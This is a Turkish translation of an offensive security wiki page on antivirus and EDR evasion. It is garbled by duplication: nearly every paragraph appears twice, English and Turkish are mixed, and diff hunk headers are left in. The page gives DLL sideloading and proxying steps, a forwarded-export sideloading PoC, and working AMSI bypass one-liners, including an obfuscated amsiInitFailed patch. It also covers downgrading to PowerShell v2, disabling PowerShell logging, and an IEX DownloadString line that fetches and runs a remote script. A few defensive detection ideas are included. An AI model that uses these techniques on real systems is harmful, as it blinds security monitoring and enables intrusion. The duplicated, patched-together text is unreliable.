<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanalı</p></figcaption></figure>
Daha önce de söylediğimiz gibi, **public tools** eninde sonunda **tespit edilir**, bu yüzden kendinize şu soruyu sormalısınız:
Bu yazıda daha önce de söylediğimiz gibi, **public tools** sonunda **tespit edilecektir**, bu yüzden kendinize şu soruyu sormalısınız:
Örneğin, LSASS'i dump etmek istiyorsanız, **gerçekten mimikatz kullanmanız mı lazım**? Yoksa LSASS'i dump eden, daha az bilinen farklı bir proje kullanabilir misiniz?
Örneğin, LSASS'i dump'lamak istiyorsanız, **gerçekten mimikatz kullanmanız mı gerekiyor**? Yoksa LSASS'i dump'layan daha az bilinen ve aynı işi yapan farklı bir proje kullanabilir misiniz?
Doğru cevap muhtemelen ikincisidir. Mimikatz örneği alınırsa, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılımlardan biridir; proje kendisi süper havalı olsa da, AV'leri atlatmak için onunla uğraşmak bir kabus olabilir, bu yüzden amacınıza uygun alternatiflere bakın.
Doğru cevap muhtemelen ikincisidir. Örnek olarak mimikatz alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok, belki de en çok işaretlenen zararlı yazılımlardan biridir; proje kendisi süper havalı olsa da, AV'leri atlatmak için onunla uğraşmak kabus olabilir, bu yüzden başarmaya çalıştığınız şey için alternatiflere bakın.
> [!TIP]
> Payload'larınızı kaçınma amaçlı değiştirirken, Defender'da otomatik sample gönderimini kapattığınızdan emin olun ve lütfen, cidden, eğer uzun vadede kaçınma hedefiniz varsa **VIRUSTOTAL'A YÜKLEMEYİN**. Bir payload'un belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, onu bir VM'e kurun, otomatik sample gönderimini kapatmaya çalışın ve sonuçtan memnun olana kadar orada test edin.
> Payload'larınızı evasion için değiştirirken, defender'da **otomatik örnek gönderimini kapattığınızdan** emin olun ve lütfen, ciddi olarak, uzun vadede evasion hedefiniz varsa **VIRUSTOTAL'A YÜKLEMEYİN**. Payload'ınızın belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, onu bir VM'e yükleyin, otomatik örnek gönderimini kapatmayı deneyin ve sonuçtan memnun olana kadar orada test edin.
## EXE'ler vs DLL'ler
## EXEs vs DLLs
Mümkün olduğunda, kaçınma için her zaman **DLL'leri kullanmayı önceliklendirin**, deneyimlerime göre DLL dosyaları genellikle **çok daha az tespit edilir** ve analiz edilir, bu yüzden bazı durumlarda tespitten kaçınmak için kullanabileceğiniz çok basit bir hiledir (tabii payload'unuz DLL olarak çalıştırılabilirse).
Mümkün olduğunda, her zaman **evasyon için DLL kullanmayı önceliklendirin**, deneyimlerime göre DLL dosyaları genellikle **çok daha az tespit ediliyor** ve analiz ediliyor, bu yüzden bazı durumlarda tespitten kaçınmak için kullanabileceğiniz çok basit bir hiledir (tabii payload'ınızın DLL olarak çalıştırılma yolu varsa).
Bu görüntüde de görebileceğimiz gibi, Havoc'tan bir DLL Payload'un antiscan.me'de tespit oranı 4/26 iken, EXE payload'un tespit oranı 7/26'dır.
Bu resimde görebileceğimiz gibi, Havoc'tan bir DLL Payload antiscan.me'de 4/26 tespit oranına sahipken, EXE payload 7/26 tespit oranına sahip.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me karşılaştırması: normal bir Havoc EXE payload vs normal bir Havoc DLL</p></figcaption></figure>
Şimdi DLL dosyalarıyla daha gizli olmak için kullanabileceğiniz bazı hileleri göstereceğiz.
Şimdi DLL dosyaları ile çok daha gizli olmak için kullanabileceğiniz bazı hileleri göstereceğiz.
## DLL Sideloading & Proxying
**DLL Sideloading**, loader'ın kullandığı DLL arama sırasından faydalanarak, hedef uygulama ile kötü amaçlı payload(lar)ı yan yana konumlandırmayı kullanır.
**DLL Sideloading**, loader tarafından kullanılan DLL arama sırasından faydalanır; mağdur uygulama ile kötü amaçlı payload(lar)ı yan yana konumlandırarak çalışır.
DLL Sideloading'e hassas programları [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell script'i kullanarak kontrol edebilirsiniz:
DLL Sideloading'e duyarlı programları kontrol etmek için [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell script'ini kullanabilirsiniz:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
Bu komut, "C:\Program Files\\" içindeki DLL hijacking'e duyarlı programların listesini ve bu programların yüklemeye çalıştığı DLL dosyalarını yazdırır.
Bu komut "C:\Program Files\\" içinde DLL hijacking'e duyarlı programların listesini ve yüklemeye çalıştıkları DLL dosyalarını çıktılayacaktır.
Kesinlikle **DLL Hijackable/Sideloadable programlarını kendiniz keşfetmenizi** tavsiye ederim; bu teknik doğru yapıldığında oldukça gizlidir, ancak kamuya açık olarak bilinen DLL Sideloadable programlarını kullanırsanız kolayca yakalanabilirsiniz.
Kendiniz **DLL Hijackable/Sideloadable programs**'ı keşfetmenizi şiddetle tavsiye ederim; bu teknik düzgün yapıldığında oldukça gizlidir, ancak kamuya mal olmuş DLL Sideloadable programları kullanırsanız kolayca yakalanabilirsiniz.
Sadece bir programın yüklemesini beklediği isimde kötü amaçlı bir DLL yerleştirmek, payload'unuzu çalıştırmaz; çünkü program o DLL içinde bazı belirli fonksiyonları bekler. Bu sorunu çözmek için **DLL Proxying/Forwarding** adlı başka bir teknik kullanacağız.
Bir programın yüklemesini beklediği isimle kötü amaçlı bir DLL yerleştirmek tek başına payload'unuzun çalışmasını sağlamaz; çünkü program o DLL içinde belirli fonksiyonları bekler. Bu sorunu çözmek için **DLL Proxying/Forwarding** adlı başka bir teknik kullanacağız.
**DLL Proxying**, bir programın proxy (ve kötü amaçlı) DLL'den yaptığı çağrıları orijinal DLL'e iletir; böylece programın işlevselliği korunur ve payload'unuzun yürütülmesini yönetebiliriz.
**DLL Proxying**, programın proxy (ve kötü amaçlı) DLL üzerinden yaptığı çağrıları orijinal DLL'e yönlendirir; böylece programın işlevselliği korunur ve payload'unuzun yürütülmesini yönetebilir.
Bu örnekte [@flangvik](https://twitter.com/Flangvik/) tarafından geliştirilen [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projesini kullanacağım.
Kullanacağım proje [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) [@flangvik](https://twitter.com/Flangvik)'ten.
İzlediğim adımlar şunlardır:
İzlediğim adımlar şunlardı:
```
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
@ -104,42 +104,40 @@ Son komut bize 2 dosya verecek: bir DLL kaynak kodu şablonu ve orijinal yeniden
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
Sonuçlar:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Hem shellcode'umuz (encoded with [SGN](https://github.com/EgeBalci/sgn)) hem de proxy DLL'imiz [antiscan.me](https://antiscan.me) üzerinde 0/26 tespit oranına sahip! Buna bir başarı diyebilirim.
Hem shellcode'umuz (encoded with [SGN](https://github.com/EgeBalci/sgn)) hem de proxy DLL'imiz [antiscan.me](https://antiscan.me) üzerinde 0/26 tespit oranına sahip! Bunu bir başarı olarak nitelendirirdim.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> DLL Sideloading hakkında daha derinlemesine öğrenmek için [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) ve ayrıca [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) izlemenizi şiddetle öneririm.
> Ben **kesinlikle tavsiye ederim** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
### Abusing Forwarded Exports (ForwardSideLoading)
### Yönlendirilen Export'ların İstismarı (ForwardSideLoading)
Windows PE modules, gerçekte "forwarders" olan fonksiyonlar export edebilir: kodu işaret etmek yerine, export girdisi `TargetDll.TargetFunc` biçiminde bir ASCII string içerir. Bir çağırıcı export'ı çözdüğünde, Windows loader şunları yapar:
Windows PE modülleri, aslında "forwarder" olan fonksiyonları export edebilir: export girdisi koda işaret etmek yerine `TargetDll.TargetFunc` biçiminde bir ASCII string içerir. Bir çağırıcı export'u çözdüğünde, Windows loader şunları yapar:
- `TargetDll` henüz yüklenmemişse yükler
- ondan `TargetFunc`'ı çözer
- Eğer `TargetDll` bir KnownDLL ise, korumalı KnownDLLs ad alanından sağlanır (ör., ntdll, kernelbase, ole32).
- Eğer `TargetDll` bir KnownDLL değilse, normal DLL arama sırası kullanılır; bu sıra, forward çözümlemesini yapan modülün dizinini de içerir.
Anlaşılması gereken temel davranışlar:
- Eğer `TargetDll` bir KnownDLL ise, korumalı KnownDLLs namespace'inden sağlanır (ör. ntdll, kernelbase, ole32).
- Eğer `TargetDll` bir KnownDLL değilse, ileri çözümü yapan modülün dizinini de içeren normal DLL arama sırası kullanılır.
Anlamanız gereken temel davranışlar:
- Eğer `TargetDll` bir KnownDLL ise, korumalı KnownDLLs ad alanından sağlanır (ör., ntdll, kernelbase, ole32).
- Eğer `TargetDll` bir KnownDLL değilse, normal DLL arama sırası kullanılır; bu sıra, forward çözümlemesini yapan modülün dizinini de içerir.
Bu, dolaylı bir sideloading primitive'i sağlar: bir non-KnownDLL modül adına forward edilen bir fonksiyon export eden imzalı bir DLL bulun; sonra bu imzalı DLL'i, forward edilen hedef modül ile tam olarak aynı isme sahip, saldırgan kontrolündeki bir DLL ile aynı dizine koyun. Forward edilen export çağrıldığında, loader forward'ı çözer ve aynı dizinden sizin DLL'inizi yükleyerek DllMain'inizi çalıştırır.
Bu, dolaylı bir sideloading primitive'ine olanak sağlar: bir fonksiyonu non-KnownDLL modül adına yönlendiren imzalı bir DLL bulun, sonra o imzalı DLL'i, yönlendirme hedef modülün adıyla tam olarak aynı olan saldırgan kontrollü bir DLL ile aynı dizine koyun. Yönlendirilen export çağrıldığında, loader forward'u çözer ve DllMain'inizi çalıştırarak DLL'inizi aynı dizinden yükler.
Windows 11'de gözlemlenen örnek:
```
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
```
`NCRYPTPROV.dll` bir KnownDLL değildir, bu nedenle normal arama sırasına göre çözülür.
`NCRYPTPROV.dll` KnownDLL değildir; bu yüzden normal arama sırasına göre çözülür.
PoC (kopyala-yapıştır):
PoC (copy-paste):
1) İmzalı sistem DLL'ini yazılabilir bir klasöre kopyalayın
```
copy C:\Windows\System32\keyiso.dll C:\test\
```
2) Aynı klasöre kötü amaçlı bir `NCRYPTPROV.dll` bırakın. Kod çalıştırmayı sağlamak için minimal bir DllMain yeterlidir; DllMain'i tetiklemek için forward edilmiş fonksiyonu uygulamanıza gerek yoktur.
2) Aynı klasöre kötü amaçlı bir `NCRYPTPROV.dll` bırakın. Minimal bir DllMain, kod çalıştırmak için yeterlidir; DllMain'i tetiklemek için yönlendirilen fonksiyonu uygulamanıza gerek yoktur.
```c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
@ -155,31 +153,31 @@ return TRUE;
```
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
```
Gözlemlenen davranış:
- rundll32 (signed) side-by-side `keyiso.dll`'yi (signed) yükler
- `KeyIsoSetAuditingInterface`'i çözerken, yükleyici yönlendirmeyi (`forward`) `NCRYPTPROV.SetAuditingInterface`'e takip eder
- Yükleyici daha sonra `C:\test`'ten `NCRYPTPROV.dll`'i yükler ve onun `DllMain`'ini çalıştırır
- Eğer `SetAuditingInterface` uygulanmamışsa, `DllMain` zaten çalıştıktan sonra ancak bir "missing API" hatası alırsınız
Observed behavior:
- rundll32 (imzalı) side-by-side `keyiso.dll` (imzalı) dosyasını yükler
- `KeyIsoSetAuditingInterface`'i çözerken, loader forward'ı takip ederek `NCRYPTPROV.SetAuditingInterface`'e gider
- Loader sonra `C:\test`'ten `NCRYPTPROV.dll`'yi yükler ve onun `DllMain`'ini çalıştırır
- `SetAuditingInterface` uygulanmamışsa, `DllMain` zaten çalıştıktan sonra ancak bir "missing API" hatası alırsınız
Hunting tips:
- Hedef modül KnownDLL olmayan forwarded export'lara odaklanın. KnownDLLs şu anahtarda listelenir: `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Forwarded exports'ı şu araçlarla listeleyebilirsiniz:
- Hedef modül bir KnownDLL olmayan forwarded export'lara odaklanın. KnownDLLs, `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` altında listelenir.
- Forwarded export'ları şu tür araçlarla listeleyebilirsiniz:
```
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
```
- Windows 11 forwarder envanterine bakarak adayları arayın: https://hexacorn.com/d/apis_fwd.txt
Tespit/savunma fikirleri:
- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
- Aşağıdaki gibi işlem/modül zincirleri için uyarı ver: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
- Kod bütünlüğü politikalarını (WDAC/AppLocker) uygulayın ve uygulama dizinlerinde write+execute'e izin vermeyin
Tespit/önleme fikirleri:
- LOLBins'i izleyin (ör. rundll32.exe) — sistem dışı yollardan imzalı DLL'leri yükleyip, ardından aynı temel ada sahip non-KnownDLL'leri o dizinden yüklemesi
- Aşağıdaki gibi işlem/modül zincirleri için uyarı verin: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` kullanıcı yazılabilir yollar altında
- Kod bütünlüğü politikalarını (WDAC/AppLocker) uygulayın ve uygulama dizinlerinde yazma+yürütme izinlerini reddedin
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze, askıya alınmış işlemler, doğrudan sistem çağrıları ve alternatif yürütme yöntemleri kullanarak EDR'leri atlatmak için bir payload toolkit'idir`
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
Freeze'i shellcode'unuzu gizlice yükleyip çalıştırmak için kullanabilirsiniz.
Freeze'i kullanarak shellcode'unuzu gizli bir şekilde yükleyip çalıştırabilirsiniz.
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -189,13 +187,13 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Evasion sadece kedi ve fare oyunu gibidir; bugün işe yarayan yarın tespit edilebilir, bu yüzden sadece tek bir araca güvenmeyin; mümkünse birden fazla evasion tekniğini zincirleyin.
> Evasion sadece bir kedi ve fare oyunudur; bugün işe yarayan yarın tespit edilebilir, bu yüzden asla yalnızca tek bir araca güvenmeyin — mümkünse birden fazla evasion tekniğini zincirlemeyi deneyin.
## AMSI (Anti-Malware Scan Interface)
AMSI, "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)"ı önlemek için oluşturuldu. Başlangıçta, AV'ler yalnızca **diskteki dosyaları** tarayabiliyordu, bu yüzden bir şekilde yükleri **doğrudan bellekte** çalıştırabiliyorsanız, AV bunu engelleyemezdi çünkü yeterli görünürlüğe sahip değildi.
AMSI, "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)"'yi önlemek için oluşturuldu. Başlangıçta AVs sadece **diskteki dosyaları** tarayabiliyordu; bu yüzden payload'ları **doğrudan bellekte** çalıştırmayı başarırsanız, AV bunu önleyemiyordu çünkü yeterli görünürlüğe sahip değildi.
AMSI özelliği Windows'un şu bileşenlerine entegre edilmiştir:
AMSI özelliği Windows'un şu bileşenlerine entegre edilmiştir.
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
@ -203,39 +201,39 @@ AMSI özelliği Windows'un şu bileşenlerine entegre edilmiştir:
- JavaScript and VBScript
- Office VBA macros
Antivirus çözümlerinin, script içeriklerini şifrelenmemiş ve gizlenmemiş bir biçimde açığa çıkararak script davranışını incelemesine olanak tanır.
Bu, antivirüs çözümlerinin script içeriğini hem şifrelenmemiş hem de obfuskasyonsuz (unobfuscated) bir biçimde açığa çıkararak script davranışını incelemesine olanak tanır.
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` çalıştırmak Windows Defender'da aşağıdaki uyarıyı üretecektir.
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` çalıştırmak Windows Defender üzerinde aşağıdaki uyarıyı üretecektir.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Bunun nasıl `amsi:` önekini eklediğine ve ardından betiğin çalıştırıldığı yürütülebilir dosyanın yolunu (bu durumda powershell.exe) gösterdiğine dikkat edin.
Önüne `amsi:` eklediğini ve ardından scriptin çalıştığı yürütülebilir dosyanın yolunu (bu örnekte powershell.exe) koyduğunu fark edin.
Disk'e hiç dosya bırakmadık, ancak AMSI nedeniyle bellekte yakalandık.
Disk'e herhangi bir dosya bırakmadık, ancak AMSI yüzünden bellekte çalıştırılırken yine yakalandık.
Ayrıca, **.NET 4.8**'den itibaren C# kodu da AMSI tarafından taranır. Bu, hatta `Assembly.Load(byte[])` ile bellekte yüklemeyi de etkiler. Bu yüzden AMSI'den kaçınmak istiyorsanız, bellekte yürütme için daha düşük .NET sürümlerini (ör. 4.7.2 veya daha düşük) kullanmanız önerilir.
Ayrıca, **.NET 4.8** ile başlayarak, C# kodu da AMSI üzerinden çalıştırılıyor. Bu, `Assembly.Load(byte[])` ile bellekte yüklemeyi de etkiliyor. Bu yüzden AMSI'den kaçınmak istiyorsanız bellekte çalıştırma için daha düşük .NET sürümlerini (ör. 4.7.2 veya daha düşük) kullanmanız tavsiye edilir.
There are a couple of ways to get around AMSI:
AMSI'den kaçmanın birkaç yolu vardır:
- **Obfuscation**
AMSI büyük ölçüde statik tespitlerle çalıştığından, yüklemeye çalıştığınız scriptleri değiştirmeniz tespitten kaçınmak için iyi bir yol olabilir.
AMSI çoğunlukla statik tespitlerle çalıştığı için, yüklemeye çalıştığınız scriptleri değiştirmeniz detection'dan kaçınmak için iyi bir yol olabilir.
Ancak AMSI, scriptlerin birden fazla katmanı olsa bile obfuskasyonu çözme kabiliyetine sahip olduğundan, obfuscation yapılan şekle bağlı olarak kötü bir seçenek olabilir. Bu nedenle kaçış her zaman basit değildir. Yine de bazen yapmanız gereken tek şey birkaç değişken adını değiştirmektir; bu yüzden ne kadar işaretlendiğine bağlıdır.
Ancak AMSI, birden fazla katman olsa bile scriptleri çözme (unobfuscating) yeteneğine sahip olduğundan, obfuscation nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu da kaçışı düz bir yol haline getirmiyor. Yine de bazen yapmanız gereken tek şey birkaç değişken adını değiştirmek olabilir; bu nedenle ne kadar bir şeyin işaretlendiğine bağlı olarak değişir.
- **AMSI Bypass**
AMSI, powershell (ayrıca cscript.exe, wscript.exe, vb.) sürecine bir DLL yüklenerek uygulandığından, ayrıcalıksız bir kullanıcı olarak bile onunla uğraşmak mümkündür. AMSI'nin bu uygulama hatası nedeniyle araştırmacılar AMSI taramasından kaçınmak için birden fazla yol buldular.
AMSI, powershell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine bir DLL yüklenerek uygulanır; bu nedenle ayrıcalıksız bir kullanıcı olarak bile kolayca müdahale etmek mümkündür. AMSI'nin bu uygulama hatası sayesinde araştırmacılar AMSI taramasından kaçmak için birden fazla yol buldular.
**Forcing an Error**
Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage.
AMSI başlatılmasının başarısız olmasını zorlamak (amsiInitFailed) sonucunda mevcut süreç için hiçbir tarama başlatılmaz. Bu orijinal olarak [Matt Graeber](https://twitter.com/mattifestation) tarafından açıklanmıştı ve Microsoft daha geniş kullanımın önüne geçmek için bir signature geliştirdi.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Tek gereken, mevcut powershell süreci için AMSI'yi kullanılamaz hale getiren tek bir powershell satırıydı. Bu satır elbette AMSI tarafından tespit edildi; bu yüzden bu tekniği kullanmak için bazı değişiklikler gerekiyor.
Mevcut powershell sürecinde AMSI'yi kullanılamaz hale getirmek için tek bir powershell code satırı yeterliydi. Bu satır elbette AMSI tarafından tespit edildi, bu yüzden bu tekniği kullanmak için bazı değişiklikler gerekiyor.
İşte bu [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)ten aldığım modifiye edilmiş AMSI bypass.
İşte bu [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)'ten aldığım değiştirilmiş AMSI bypass.
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -249,119 +247,119 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Unutmayın, bu yayınlandıktan sonra muhtemelen tespit edilecektir; eğer hedefiniz fark edilmeden kalmaksa herhangi bir kod yayımlamamalısınız.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
**Memory Patching**
Bu teknik ilk olarak [@RastaMouse](https://twitter.com/_RastaMouse/) tarafından keşfedildi ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresinin bulunmasını (kullanıcı tarafından sağlanan girdiyi taramaktan sorumlu) ve bu adresin E_INVALIDARG kodunu döndürecek yönergelerle üzerine yazılmasını içerir; böylece gerçek taramanın sonucu 0 dönecek ve bu temiz sonuç olarak yorumlanacaktır.
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
> [!TIP]
> Daha ayrıntılı açıklama için lütfen [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) adresini okuyun.
> Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
AMSI'yi bypass etmek için powershell ile kullanılan birçok başka teknik de vardır; bunları öğrenmek için [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) ve [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) adreslerini inceleyin.
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
Bu araç da [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) AMSI'yi atlatmak için scriptler üretir.
This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
**Remove the detected signature**
Tespit edilen AMSI imzasını mevcut process'in belleğinden kaldırmak için **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** ve **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gibi araçları kullanabilirsiniz. Bu araç, mevcut process'in belleğinde AMSI imzasını tarar ve ardından üzerine NOP instructions yazarak belleğinden etkili bir şekilde kaldırır.
Bu amaçla **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** ve **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gibi araçları kullanarak mevcut process'in belleğindeki tespit edilen AMSI imzasını kaldırabilirsiniz. Bu araç, mevcut process'in belleğini AMSI imzası için tarar ve sonra bellekteki imzayı NOP instructions ile üzerine yazarak fiilen bellekten kaldırır.
**AV/EDR products that uses AMSI**
AMSI kullanan AV/EDR ürünlerinin bir listesini **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** adresinde bulabilirsiniz.
**Use Powershell version 2**
Eğer PowerShell sürüm 2 kullanırsanız, AMSI yüklenmez; bu sayede scriptlerinizi AMSI tarafından taranmadan çalıştırabilirsiniz. Bunu şu şekilde yapabilirsiniz:
If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this:
```bash
powershell.exe -version 2
```
## PS Günlüğü
PowerShell logging, bir sistemde çalıştırılan tüm PowerShell komutlarını kaydetmenizi sağlayan bir özelliktir. Bu, denetleme ve sorun giderme amaçları için yararlı olabilir, ancak **algılamadan kaçmak isteyen saldırganlar için bir problem** de olabilir.
PowerShell logging, bir sistemde yürütülen tüm PowerShell komutlarını kaydetmenizi sağlayan bir özelliktir. Bu, denetim ve hata ayıklama amaçları için faydalı olabilir, ancak tespitten kaçınmak isteyen saldırganlar için de **sorun oluşturabilir**.
PowerShell logging'i atlatmak için aşağıdaki teknikleri kullanabilirsiniz:
PowerShell logging'i atlatmak için şu teknikleri kullanabilirsiniz:
- **PowerShell Transcription ve Module Logging'i devre dışı bırakın**: Bu amaç için [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) gibi bir araç kullanabilirsiniz.
- **PowerShell sürüm 2'yi kullanın**: PowerShell sürüm 2'yi kullanırsanız, AMSI yüklenmeyecektir; böylece betiklerinizi AMSI tarafından taranmadan çalıştırabilirsiniz. Bunu şu şekilde yapabilirsiniz: `powershell.exe -version 2`
- **Unmanaged PowerShell Oturumu kullanın**: Savunmalar olmadan bir PowerShell başlatmak için [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) kullanın (bu, Cobal Strike'dan `powerpick`'in kullandığı yöntemdir).
- **Disable PowerShell Transcription and Module Logging**: Bu amaç için [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) gibi bir araç kullanabilirsiniz.
- **Use Powershell version 2**: Powershell version 2 kullanırsanız, AMSI yüklenmez; böylece script'lerinizi AMSI tarafından taranmadan çalıştırabilirsiniz. Bunu şu şekilde yapabilirsiniz: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Savunmalardan yoksun bir powershell spawn etmek için [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) kullanın (bu, Cobal Strike'daki `powerpick`'in kullandığı yöntemdir).
## Obfuscation
## Obfuskasyon
> [!TIP]
> Birkaç obfuscation tekniği veriyi şifrelemeye dayanır; bu, ikilinin entropisini artırır ve AV/EDR'lerin bunu tespit etmesini kolaylaştırır. Bununla dikkatli olun ve şifrelemeyi yalnızca hassas veya gizlenmesi gereken kod bölümlerine uygulamayı düşünün.
> Birçok obfuskasyon tekniği veriyi şifrelemeye dayanır; bu, ikilinin entropisini artıracak ve AV'ler ile EDR'lerin tespit etmesini kolaylaştıracaktır. Bununla dikkatli olun ve şifrelemeyi yalnızca hassas veya gizlenmesi gereken kod bölümlerine uygulamayı düşünün.
### ConfuserEx ile Korunan .NET İkili Dosyalarının Deobfuscasyonu
### ConfuserEx ile korunmuş .NET binary'lerinin deobfuskasyonu
ConfuserEx 2 (veya ticari çatalları) kullanan kötü amaçlı yazılımları analiz ederken, decompiler'ları ve sandbox'ları engelleyen birden çok koruma katmanıyla karşılaşmak yaygındır. Aşağıdaki iş akışı, daha sonra dnSpy veya ILSpy gibi araçlarda C#'a decompile edilebilecek neredeyse orijinal bir IL'yi güvenilir şekilde **geri yükler**.
ConfuserEx 2 (veya ticari fork'ları) kullanan malware analizinde, decompiler'ları ve sandboxları engelleyen birkaç koruma katmanıyla karşılaşmak yaygındır. Aşağıdaki iş akışı, daha sonra dnSpy veya ILSpy gibi araçlarda C#'a decompile edilebilecek neredeyse orijinale yakın bir IL'yi güvenilir şekilde **geri yükler**.
1. Anti-tamper kaldırma – ConfuserEx her *method body*'yi şifreler ve bunu *module* statik yapıcı (`<Module>.cctor`) içinde çözer. Bu ayrıca PE checksum'u da yama yapar, bu yüzden herhangi bir değişiklik ikiliyi çökertir. Şifrelenmiş metadata tablolarını bulmak, XOR anahtarlarını kurtarmak ve temiz bir assembly yazmak için **AntiTamperKiller** kullanın:
1. Anti-tampering kaldırma – ConfuserEx her *method body*'yi şifreler ve bunları *module* static constructor (`<Module>.cctor`) içinde çözer. Ayrıca PE checksum'u yama yapar; bu nedenle herhangi bir değişiklik binary'nin çökmesine sebep olur. Şifrelenmiş metadata tablolarını bulmak, XOR anahtarlarını kurtarmak ve temiz bir assembly yeniden yazmak için **AntiTamperKiller** kullanın:
```bash
# https://github.com/wwh1004/AntiTamperKiller
